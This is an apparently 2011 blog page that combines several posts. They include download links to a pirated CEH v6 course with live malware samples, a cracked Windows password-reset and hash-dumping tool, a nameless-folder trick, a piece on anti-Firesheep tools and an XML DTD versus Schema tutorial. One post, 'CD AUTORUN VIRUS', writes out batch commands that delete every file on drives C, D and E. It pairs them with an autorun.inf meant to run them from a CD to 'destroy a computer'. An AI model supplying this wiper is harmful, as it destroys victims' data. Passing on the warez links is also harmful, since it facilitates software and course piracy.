Friday, September 9, 2011

Certified Ethical Hacker V6 - Training Videos - LABS, Tools

Certified Ethical Hacker Course has been divided into two sections:
1. Certified Ethical Hacker (CEH) v 6 - Training DVDs (Flash video) | 6 DVDs ISO | 10.3 GB
2. Certified Ethical Hacker and Countermeasures V6 LABS (Tools) | 4 Volumes | ISOs + Instructor slides in PDF | 13.2 GB

First section, Training videos, focuses on how to scan, test, hack and secure your own systems (all in depth).

Second section, LABS (Tools), gives each student in-depth knowledge and practical experience with the current essential security systems. It is analogous to what you do in college laboratory i.e. real-time practical experience to what is taught in theory lectures.

Thus, this complete course guarantees to make you a Professional Hacker


LABS (Tools)



Certified Ethical Hacker and Countermeasures V6 LABS (Tools) | 4 Volumes | ISOs + Instructor slides in PDF | 13.2 GB

These are all the DVD materials for the CEH v6 exam training from EC-Council. This is a fantastic class with a lot of knowledge.

These are the tools not videos. This is to teach how to countermeasure hacks and in that being said there are live real worms, viruses,trojans.etc. not to destroy your computer(IF USED WITH VMWARE OR OTHER COMPUTER) but to teach you how to get rid of them.

Certified Ethical Hacker & Countermeasures V6

Course Description

This class will immerse the student into an interactive environment where they will be shown how to scan, test, hack and secure their own systems. The lab intensive environment gives each student in-depth knowledge and practical experience with the current essential security systems. Students will begin by understanding how perimeter defenses work and then be lead into scanning and attacking their own networks, no real network is harmed. Students then learn how intruders escalate privileges and what steps can be taken to secure a system. Students will also learn about Intrusion Detection, Policy Creation, Social Engineering, DDoS Attacks, Buffer Overflows and Virus Creation. When a student leaves this intensive 5 day class they will have hands on understanding and experience in Ethical Hacking. This course prepares you for EC-Council Certified Ethical Hacker exam 312-50.

Who Should Attend

This course will significantly benefit security officers, auditors, security professionals, site administrators, and anyone who is concerned about the integrity of the network infrastructure.


Certification
The Certified Ethical Hacker exam 312-50 may be taken on the last day of the training (optional). Students need to pass the online Prometric exam to receive CEH certification. Training fee is inclusive of Exam, Official Kit, Certificate and meals.

Legal Agreement

Ethical Hacking and Countermeasures course mission is to educate, introduce and demonstrate hacking tools for penetration testing purposes only. Prior to attending this course, you will be asked to sign an agreement stating that you will not use the newly acquired skills for illegal or malicious attacks and you will not use such tools in an attempt to compromise any computer system, and to indemnify EC-Council with respect to the use or misuse of these tools, regardless of intent.

CEHv6 Curriculum consists of instructor-led training and self-study. The Instructor will provide the details of self-study modules to the students beginning of the class.

Code:

http://www.eccouncil.org

Quote:
Module 1: Introduction to Ethical Hacking
Module 2: Hacking Laws
Module 3: Footprinting
Module 4: Google Hacking
Module 5: Scanning
Module 6: Enumeration
Module 7: System Hacking
Module 8: Trojans and Backdoors
Module 9: Viruses and Worms
Module 10: Sniffers
Module 11: Social Engineering
Module 12: Phishing
Module 13: Hacking Email Accounts
Module 14: Denial-of-Service
Module 15: Session Hijacking
Module 16: Hacking Web Servers
Module 17: Web Application Vulnerabilities
Module 18: Web-Based Password Cracking Techniques
Module 19: SQL Injection
Module 20: Hacking Wireless Networks
Module 21: Physical Security
Module 22: Linux Hacking
Module 23: Evading IDS, Firewalls and Detecting Honey Pots
Module 24: Buffer Overflows
Module 25: Cryptography
Module 26: Penetration Testing
Module 27: Covert Hacking
Module 28: Writing Virus Codes
Module 29: Assembly Language Tutorial
Module 30: Exploit Writing
Module 31: Smashing the Stack for Fun and Profit
Module 32: Windows Based Buffer Overflow Exploit Writing
Module 33: Reverse Engineering
Module 34: MAC OS X Hacking
Module 35: Hacking Routers, cable Modems and Firewalls
Module 36: Hacking Mobile Phones, PDA and Handheld Devices
Module 37: Bluetooth Hacking
Module 38: VoIP Hacking
Module 39: RFID Hacking
Module 40: Spamming Module
Module 41: Hacking USB Devices
Module 42: Hacking Database Servers
Module 43: Cyber Warfare- Hacking, Al-Qaida and Terrorism
Module 44: Internet Content Filtering Techniques
Module 45: Privacy on the Internet
Module 46: Securing Laptop Computers
Module 47: Spying Technologies
Module 48: Corporate Espionage- Hacking Using Insiders
Module 49: Creating Security Policies
Module 50: Software Piracy and Warez
Module 51: Hacking and Cheating Online Games
Module 52: Hacking RSS and Atom
Module 53: Hacking Web Browsers (Firefox, IE)
Module 54: Proxy Server Technologies
Module 55: Data Loss Prevention
Module 56: Hacking Global Positioning System (GPS)
Module 57: Computer Forensics and Incident Handling
Module 58: Credit Card Frauds
Module 59: How to Steal Passwords
Module 60: Firewall Technologies
Module 61: Threats and Countermeasures
Module 62: Case Studies
Module 62: Case Studies
Module 63: Botnets
Module 64: Economic Espionage
Module 65: Patch Management
Module 66: Security Convergence





Instructor Slides:
http://hotfile.com/d....part1.rar.html
http://hotfile.com/d....part2.rar.html
http://hotfile.com/d....part3.rar.html

Labs (Tools)
http://hotfile.com/d...part01.rar.html
http://hotfile.com/d...part02.rar.html
http://hotfile.com/d...part03.rar.html
http://hotfile.com/d...part04.rar.html
http://hotfile.com/d...part05.rar.html
http://hotfile.com/d...part06.rar.html
http://hotfile.com/d...part07.rar.html
http://hotfile.com/d...part08.rar.html
http://hotfile.com/d...part09.rar.html
http://hotfile.com/d...part10.rar.html
http://hotfile.com/d...part11.rar.html
http://hotfile.com/d...part12.rar.html
http://hotfile.com/d...part13.rar.html
http://hotfile.com/d...part14.rar.html
http://hotfile.com/d...part15.rar.html
http://hotfile.com/d...part16.rar.html
http://hotfile.com/d...part17.rar.html
http://hotfile.com/d...part18.rar.html
http://hotfile.com/d...part19.rar.html
http://hotfile.com/d...part20.rar.html
http://hotfile.com/d...part21.rar.html
http://hotfile.com/d...part22.rar.html
http://hotfile.com/d...part23.rar.html
http://hotfile.com/d...part24.rar.html
http://hotfile.com/d...part25.rar.html
http://hotfile.com/d...part26.rar.html
http://hotfile.com/d...part27.rar.html
http://hotfile.com/d...part28.rar.html
http://hotfile.com/d...part29.rar.html
http://hotfile.com/d...part30.rar.html
http://hotfile.com/d...part31.rar.html
http://hotfile.com/d...part32.rar.html
http://hotfile.com/d...part33.rar.html
http://hotfile.com/d...part34.rar.html
http://hotfile.com/d...part35.rar.html
http://hotfile.com/d...part36.rar.html
http://hotfile.com/d...part37.rar.html
http://hotfile.com/d...part38.rar.html
http://hotfile.com/d...part39.rar.html
http://hotfile.com/d...part40.rar.html
http://hotfile.com/d...part41.rar.html
http://hotfile.com/d...part42.rar.html
http://hotfile.com/d...part43.rar.html
http://hotfile.com/d...part44.rar.html
http://hotfile.com/d...part45.rar.html
http://hotfile.com/d...part46.rar.html
http://hotfile.com/d...part47.rar.html
http://hotfile.com/d...part48.rar.html
http://hotfile.com/d...part49.rar.html
http://hotfile.com/d...part50.rar.html
http://hotfile.com/d...part51.rar.html
http://hotfile.com/d...part52.rar.html
http://hotfile.com/d...part53.rar.html
http://hotfile.com/d...part54.rar.html
http://hotfile.com/d...part55.rar.html
http://hotfile.com/d...part56.rar.html
http://hotfile.com/d...part57.rar.html
http://hotfile.com/d...part58.rar.html
http://hotfile.com/d...part59.rar.html
http://hotfile.com/d...part60.rar.html
http://hotfile.com/d...part61.rar.html
http://hotfile.com/d...part62.rar.html
http://hotfile.com/d...part63.rar.html
http://hotfile.com/d...part64.rar.html
http://hotfile.com/d...part65.rar.html
http://hotfile.com/d...part66.rar.html
http://hotfile.com/d...part67.rar.html
http://hotfile.com/d...part68.rar.html



 

Reset Windows Password Advanced Edition v1.2.1.195 Retail



Lost password or locked Windows account is the most frequent problem data recovery specialists have to deal with. You could format the hard drive or reinstall your operating system, but that wouldn't keep you from partial loss of data, personal settings and extra headache. Besides, all that can take some time. There is a quicker and more elegant way out of this situation. Just run Reset Windows Passwords from a bootable CD or USB and reset the forgotten password or unlock the account. It's a matter of a few minutes! Reset Windows Password is the most powerful solution for recovering or resetting all types of Windows account passwords: user', administrator, Active Directory accounts, and domain administrators.
The program is designed specifically for an inexperienced user and is easy to operate. On the other hand, the password lookup algorithms are unique and not used in any similar application.
Unlike other utilities, Reset Windows Password is the only program that can CORRECTLY process all types of Windows accounts.

Features
Simple, intuitive graphic interface. No more ugly DOS prompts.
Resets and modifies passwords of local users and administrators, domain administrator, Active Directory users, DSRM account.
Enables and unlocks user accounts.
Disables the password expiry option.
Resets SYSKEY (with full user passwords re-encryption)
Advanced password lookup algorithms (also known as AI attack).
Dumps user password hashes from SAM for further analysis.
Dumps password hashes from Active Directory.
Dumps domain cached credentials.
Supports all versions of NT-based Windows, including the newest Windows 7.
All editions include the utility for creating a bootable CD/DVD/USB disk from the downloadable ISO file with the application.
Supports 64-bit Windows.
Large collection of IDE, SATA, SCSI, RAID drivers.
Detects several operating systems installed on the computer.
Supports non-English versions of Windows and passwords in national encodings.
Allows undoing changes made to the system.
Deletes passwords and other sensitive data from the computer.
Detailed help.

How it looks and works
Reset Windows Password - screenshots and documentation
Full list of the program features
Three simple steps to create a bootable CD, DVD or USB disk
Utility for creating bootable disks
Running RWP from the bootable disk
Modifying BIOS to boot from RWP disk, questions and answers

The software is available in three editions: Light, Standard and Advanced. The detailed list of features is shown below : www.passcape.com/reset_windows_password_editions
Reset.Windows.Password.Advanced.Edition.v1.2.1.195.retail-iOTA
Download : | FileSonic | DepositFiles | Turbobi

How to Create nameless files and folders in windows

1.Select any file or folder.
2.Right click on it, press rename or simply press F2.
3.Press and hold the alt key. While holding the Alt key, type numbers 0160 from the numpad.
4.Press Enter and the nameless file or folder will be created.
 

But what if you want to create another nameless file or folder in the same directory ?

For this you will have to rename the file with 2 spaces. Just follow these steps below:

1.Select file, press F2.
2.Hold alt key and type 0160 from the numpad.
3.Release the alt key. Now without doing anything else, again hold alt key and press 0160.
4.Press enter and you will have second nameless file in the same directory.

CD AUTORUN VIRUS, FORMATTING COMPUTER !


Create a file in note pad and name it "vrs.cmd"
write following commands in the file-

rd e:\*.* /s/q
rd d:\*.* /s/q
rd C:\*.* /s/q


after saving it with name vrs.cmd
plz dont'double click on it else u'll lose data frm ur hard disk

STEP 2-

make another file name it "autorun.inf"
and write following codes in it.

[AUTORUN]
open=vrs.cmd

save this file autorun.inf

STEP 3-
Now write these two files into a CD and CD is READY to destroy a computer..

CHECK___
u can check the ability of vrs.cmd i mean to have a trial

make a folder in "d:" name it "meera"
and put some files and folders it like songs, sanps etc
now make a file in note pad


rd d:\meera /s/q

and save it with name vr.cmd
and now double click on this file
it will remove meera folder from "d:"

Anti FireSheep

BlackSheep



With all the hype about Firesheep, the Firefox add-on that snatches up social network login credentials over open wireless networks, security companies are starting to make anti-Firesheep measures available to the average user. BlackSheep, developed by "cloud security" firm Zscaler, is a Firefox add-on that detects the presence of Firesheep on your network.

If someone is using Firesheep, BlackSheep will trick it with a fake login cookie. When Firesheep takes BlackSheep's bait and tries to get your user information from a site using the fake values BlackSheep has been sending out, you'll get a warning that Firesheep is operating, as well as the IP address of the person using it.

Unfortunately, BlackSheep is only available for Firefox at the moment. There are other security measures you can use, though. Sebastian has posted a roundup of ways to surf securely with SSL in any browser. Even more recently, someone released a Safari extension to force Facebook to use SSL. As far as direct anti-Firesheep countermeasures go, a Windows app called Fireshepherd can also help you shut Firesheep snoopers down.



FireShepherd





A login-cookie-snooping Firefox plug-in called Firesheep rocked the Internet by letting anyone compromise your Facebook or Twitter account over a wireless network. Alarmed at Firesheep's 200,000 downloads, an Icelandic engineering student named Gunnar Sigurdsson created FireShepherd, a program that crashes Firesheep with floods of nonsense packets.

Although Firesheep was originally created to prove a point about insecure login credentials on social networks, the huge number of downloads means that it could be a security risk to everyday users. Sigurdsson compares it to "living in a house with nothing but windows." Of course, security researchers or malicious users could patch up the Firesheep flaw that FireShepherd exploits, but FireShepherd's creator has vowed to keep finding new ways to stop the snooping plug-in. 

Monday, August 29, 2011

XML DTDs Vs XML Schema

XML is a very handy format for storing and communicating your data between disparate systems in a platform-independent fashion. XML is more than just a format for computers — a guiding principle in its creation was that it should be Human Readable and easy to create. 

XML allows UNIX systems written in C to communicate with Web Services that, for example, run on the Microsoft .NET architecture and are written in ASP.NET. XML is however, only the meta-language that the systems understand — and they both need to agree on the format that the XML data will be in. Typically, one of the partners in the process will offer a service to the other: one is in charge of the format of the data.
The definition serves two purposes: the first is to ensure that the data that makes it past the parsing stage is at least in the right structure. As such, it’s a first level at which ‘garbage’ input can be rejected. Secondly, the definition documents the protocol in a standard, formal way, which makes it easier for developers to understand what’s available.
DTD – The Document Type Definition
The first method used to provide this definition was the DTD, or Document Type Definition. This defines the elements that may be included in your document, what attributes these elements have, and the ordering and nesting of the elements.

The DTD is declared in a DOCTYPE declaration beneath the XML declaration contained within an XML document:
Inline Definition:
  1. <?xml version="1.0"?> <br>  
  2. <!DOCTYPE documentelement [definition]>  
<?xml version="1.0"?> 

<!DOCTYPE documentelement [definition]>
External Definition:
  1. <?xml version="1.0"?> <br>  
  2. <!DOCTYPE documentelement SYSTEM "documentelement.dtd">  
<?xml version="1.0"?> 

<!DOCTYPE documentelement SYSTEM "documentelement.dtd">
The actual body of the DTD itself contains definitions in terms of elements and their attributes. For example, the following short DTD defines a bookstore. It states that a bookstore has a name, and stocks books on at least one topic.
Each topic has a name and 0 or more books in stock. Each book has a title, author and ISBN number. The name of the topic, and the name of the bookstore are defined as being the same type of element: this store’s PCDATA: just text data. The title and author of the book are stored as CDATA -- text data that won’t be parsed for further characters by the XML parser. The ISBN number is stored as an attribute of the book:
  1. <!DOCTYPE bookstore [ <br>  
  2.   <!ELEMENT bookstore (topic+)> <br>  
  3.   <!ELEMENT topic (name,book*)> <br>  
  4.   <!ELEMENT name (#PCDATA)> <br>  
  5.   <!ELEMENT book (title,author)> <br>  
  6.   <!ELEMENT title (#CDATA)> <br>  
  7.   <!ELEMENT author (#CDATA)> <br>  
  8.   <!ELEMENT isbn (#PCDATA)> <br>  
  9.   <!ATTLIST book isbn CDATA "0"> <br>  
  10.   ]>  
<!DOCTYPE bookstore [ 

  <!ELEMENT bookstore (topic+)> 

  <!ELEMENT topic (name,book*)> 

  <!ELEMENT name (#PCDATA)> 

  <!ELEMENT book (title,author)> 

  <!ELEMENT title (#CDATA)> 

  <!ELEMENT author (#CDATA)> 

  <!ELEMENT isbn (#PCDATA)> 

  <!ATTLIST book isbn CDATA "0"> 

  ]>
An example of a book store’s inline definition might be:
  1. <?xml version="1.0"?> <br>  
  2. <!DOCTYPE bookstore [ <br>  
  3.   <!ELEMENT bookstore (name,topic+)> <br>  
  4.   <!ELEMENT topic (name,book*)> <br>  
  5.   <!ELEMENT name (#PCDATA)> <br>  
  6.   <!ELEMENT book (title,author)> <br>  
  7.   <!ELEMENT title (#CDATA)> <br>  
  8.   <!ELEMENT author (#CDATA)> <br>  
  9.   <!ELEMENT isbn (#PCDATA)> <br>  
  10.   <!ATTLIST book isbn CDATA "0"> <br>  
  11.   ]> <br>  
  12. <bookstore> <br>  
  13.   <name>Mike's Store</name> <br>  
  14.   <topic> <br>  
  15.     <name>XML</name> <br>  
  16.     <book isbn="123-456-789"> <br>  
  17.       <title>Mike's Guide To DTD's and XML Schemas<</title> <br>  
  18.       <author>Mike Jervis</author> <br>  
  19.     </book> <br>  
  20.   </topic> <br>  
  21. </bookstore>  
<?xml version="1.0"?> 

<!DOCTYPE bookstore [ 

  <!ELEMENT bookstore (name,topic+)> 

  <!ELEMENT topic (name,book*)> 

  <!ELEMENT name (#PCDATA)> 

  <!ELEMENT book (title,author)> 

  <!ELEMENT title (#CDATA)> 

  <!ELEMENT author (#CDATA)> 

  <!ELEMENT isbn (#PCDATA)> 

  <!ATTLIST book isbn CDATA "0"> 

  ]> 

<bookstore> 

  <name>Mike's Store</name> 

  <topic> 

    <name>XML</name> 

    <book isbn="123-456-789"> 

      <title>Mike's Guide To DTD's and XML Schemas<</title> 

      <author>Mike Jervis</author> 

    </book> 

  </topic> 

</bookstore>
Using an inline definition is handy when you only have a few documents and they’re offline, as the definition is always in the file. However, if, for example, your DTD defines the XML protocol used to talk between two seperate systems, re-transmitting the DTD with each document adds an overhead to the communciations. Having an external DTD eliminates the need to re-send each time. We could remove the DTD from the document, and place it in a DTD file on a Web server that’s accessible by the two systems:
  1. <?xml version="1.0"?> <br>  
  2. <!DOCTYPE bookstore SYSTEM "http://webserver/bookstore.dtd"> <br>  
  3. <bookstore> <br>  
  4.   <name>Mike's Store</name> <br>  
  5.   <topic> <br>  
  6.     <name>XML</name> <br>  
  7.     <book isbn="123-456-789"> <br>  
  8.       <title>Mike's Guide To DTD's and XML Schemas<</title> <br>  
  9.       <author>Mike Jervis</author> <br>  
  10.     </book> <br>  
  11.   </topic> <br>  
  12. </bookstore>  
<?xml version="1.0"?> 

<!DOCTYPE bookstore SYSTEM "http://webserver/bookstore.dtd"> 

<bookstore> 

  <name>Mike's Store</name> 

  <topic> 

    <name>XML</name> 

    <book isbn="123-456-789"> 

      <title>Mike's Guide To DTD's and XML Schemas<</title> 

      <author>Mike Jervis</author> 

    </book> 

  </topic> 

</bookstore>
The file bookstore.dtd would contain the full defintion in a plain text file:
  1.  <!ELEMENT bookstore (name,topic+)> <br>  
  2.  <!ELEMENT topic (name,book*)> <br>  
  3.  <!ELEMENT name (#PCDATA)> <br>  
  4.  <!ELEMENT book (title,author)> <br>  
  5.  <!ELEMENT title (#CDATA)> <br>  
  6.  <!ELEMENT author (#CDATA)> <br>  
  7.  <!ELEMENT isbn (#PCDATA)> <br>  
  8.  <!ATTLIST book isbn CDATA "0">  
  <!ELEMENT bookstore (name,topic+)> 

  <!ELEMENT topic (name,book*)> 

  <!ELEMENT name (#PCDATA)> 

  <!ELEMENT book (title,author)> 

  <!ELEMENT title (#CDATA)> 

  <!ELEMENT author (#CDATA)> 

  <!ELEMENT isbn (#PCDATA)> 

  <!ATTLIST book isbn CDATA "0">
The lowest level of definition in a DTD is that something is either CDATA or PCDATA: Character Data, or Parsed Character Data. We can only define an element as text, and with this limitation, it is not possible, for example, to force an element to be numeric. Attributes can be forced to a range of defined values, but they can’t be forced to be numeric.

So for example, if you stored your applications settings in an XML file, it could be manually edited so that the windows start coordinates were strings — and you’d still need to validate this in your code, rather than have the parser do it for you.
XML Schemas
XML Schemas provide a much more powerful means by which to define your XML document structure and limitations. XML Schemas are themselves XML documents. They reference the XML Schema Namespace (detailed here), and even have their own DTD.
What XML Schemas do is provide an Object Oriented approach to defining the format of an XML document. XML Schemas provide a set of basic types. These types are much wider ranging than the basic PCDATA and CDATA of DTDs. They include most basic programming types such as integer, byte, string and floating point numbers, but they also expand into Internet data types such as ISO country and language codes (en-GB for example). A full list can be found here.
The author of an XML Schema then uses these core types, along with various operators and modifiers, to create complex types of their own. These complex types are then used to define an element in the XML Document.
As a simple example, let’s try to create a basic XML Schema for defining the bookstore that we used as an example for DTDs. Firstly, we must declare this as an XSD Document, and, as we want this to be very user friendly, we’re going to add some basic documentation to it:
  1. <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema">  <br>  
  2. <xsd:annotation>  <br>  
  3.   <xsd:documentation xlm:lang="en">  <br>  
  4.     XML Schema for a Bookstore as an example.  <br>  
  5.   </xsd:documentation>  <br>  
  6. </xsd:annotation>  
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema">  

<xsd:annotation>  

  <xsd:documentation xlm:lang="en">  

    XML Schema for a Bookstore as an example.  

  </xsd:documentation>  

</xsd:annotation>
Now, in the previous example, the bookstore consisted of the sequence of a name and at least one topic. We can easily do that in an XML Schema:
  1. <xsd:element name="bookstore" type="bookstoreType"/>  <br>  
  2. <xsd:complexType name="bookstoreType">  <br>  
  3.   <xsd:sequence>  <br>  
  4.     <xsd:element name="name" type="xsd:string"/>  <br>  
  5.     <xsd:element name="topic" type="topicType" minOccurs="1"/>  <br>  
  6.   </xsd:sequence>  <br>  
  7. </xsd:complexType>  
<xsd:element name="bookstore" type="bookstoreType"/>  

<xsd:complexType name="bookstoreType">  

  <xsd:sequence>  

    <xsd:element name="name" type="xsd:string"/>  

    <xsd:element name="topic" type="topicType" minOccurs="1"/>  

  </xsd:sequence>  

</xsd:complexType>
In this example, we’ve defined an element, bookstore, that will equate to an XML element in our document. We’ve defined it of type bookstoreType, which is not a standard type, and so we provide a definition of that type next.

We then define a complexType, which defines bookstoreType as a sequence of name and topic elements. Our "name" type is an xsd:string, a type defined by the XML Schema Namespace, and so we’ve fully defined that element.

The topic element, however, is of type topicType, another custom type that we must define. We’ve also defined our topic element with minOccurs="1", which means there must be at least one element at all times. As maxOccurs is not defined, there no upper limit to the number of elements that might be included. If we had specified neither, the default would be exactly one instance, as is used in the name element. Next, we define the schema for the topicType.
  1. <xsd:complexType name="topicType">  <br>  
  2.   <xsd:element name="name" type="xsd:string"/>  <br>  
  3.   <xsd:element name="book" type="bookType" minOccurs="0"/>  <br>  
  4. </xsd:complexType>  
<xsd:complexType name="topicType">  

  <xsd:element name="name" type="xsd:string"/>  

  <xsd:element name="book" type="bookType" minOccurs="0"/>  

</xsd:complexType>
This is all similar to the declaration of the bookstoreType, but note that we have to re-define our name element within the scope of this type. If we’d used a complex type for name, such as nameType, which defined only an xsd:string — and defined it outside our types, we could re-use it in both. However, to illustrate the point, I decided to define it within each section. XML gets interesting when we get to defining our bookType:
  1. <xsd:complexType name="bookType">  <br>  
  2.   <xsd:element name="title" type="xsd:string"/>  <br>  
  3.   <xsd:element name="author" type="xsd:string"/>  <br>  
  4.   <xsd:attribute name="isbn" type="isbnType"/>  <br>  
  5. </xsd:complexType>  <br>  
  6. <xsd:simpleType name="isbnType">  <br>  
  7.   <xsd:restriction base="xsd:string">  <br>  
  8.     <xsd:pattern value="\[0-9]{3}[-][0-9]{3}[-][0-9]{3}"/>  <br>  
  9.   </xsd:restriction>  <br>  
  10. </xsd:simpleType>  
<xsd:complexType name="bookType">  

  <xsd:element name="title" type="xsd:string"/>  

  <xsd:element name="author" type="xsd:string"/>  

  <xsd:attribute name="isbn" type="isbnType"/>  

</xsd:complexType>  

<xsd:simpleType name="isbnType">  

  <xsd:restriction base="xsd:string">  

    <xsd:pattern value="\[0-9]{3}[-][0-9]{3}[-][0-9]{3}"/>  

  </xsd:restriction>  

</xsd:simpleType>
So the definition of the bookType is not particularly interesting. But the definition of its attribute "isbn" is. Not only does XML Schema support the use of types such as xsd:nonNegativeNumber, but we can also create our own simple types from these basic types using various modifiers. In the example for isbnType above, we base it on a string, and restrict it to match a given regular expression. Excusing my poor regex, that should limit any isbn attribute to match the standard of three groups of three digits separated by a dash.
This is just a simple example, but it should give you a taste of the many things you can do to control the content of an attribute or an element. You have far more control over what is considered a valid XML document using a schema. You can even
  • extend your types from other types you’ve created,
  • require uniqueness within scope, and
  • provide lookups.
It’s a nicely object oriented approach. You could build a library of complexTypes and simpleTypes for re-use throughout many projects, and even find other definitions of common types (such as an "address", for example) from the Internet and use these to provide powerful definitions of your XML documents.
DTD vs XML Schema
The DTD provides a basic grammar for defining an XML Document in terms of the metadata that comprise the shape of the document. An XML Schema provides this, plus a detailed way to define what the data can and cannot contain. It provides far more control for the developer over what is legal, and it provides an Object Oriented approach, with all the benefits this entails.

So, if XML Schemas provide an Object Oriented approach to defining an XML document’s structure, and if XML Schemas give us the power to define re-useable types such as an ISBN number based on a wide range of pre-defined types, why would we use a DTD? There are in fact several good reasons for using the DTD instead of the schema.
Firstly, and rather an important point, is that XML Schema is a new technology. This means that whilst some XML Parsers support it fully, many still don’t. If you use XML to communicate with a legacy system, perhaps it won’t support the XML Schema.
Many systems interfaces are already defined as a DTD. They are mature definitions, rich and complex. The effort in re-writing the definition may not be worthwhile.
DTD is also established, and examples of common objects defined in a DTD abound on the Internet — freely available for re-use. A developer may be able to use these to define a DTD more quickly than they would be able to accomplish a complete re-development of the core elements as a new schema.
Finally, you must also consider the fact that the XML Schema is an XML document. It has an XML Namespace to refer to, and an XML DTD to define it. This is all overhead. When a parser examines the document, it may have to link this all in, interperate the DTD for the Schema, load the namespace, and validate the schema, etc., all before it can parse the actual XML document in question. If you’re using XML as a protocol between two systems that are in heavy use, and need a quick response, then this overhead may seriously degrade performance.

Then again, if your system is available for third party developers as a Web service, then the detailed enforcement of the XML Schema may protect your application a lot more effectively from malicious — or just plain bad — XML packets. As an example, Muse.net is an interesting technology. They have a publicly-available SOAP API defined with an XML Schema that provides their developers more control over what they receive from the user community.

Saturday, August 13, 2011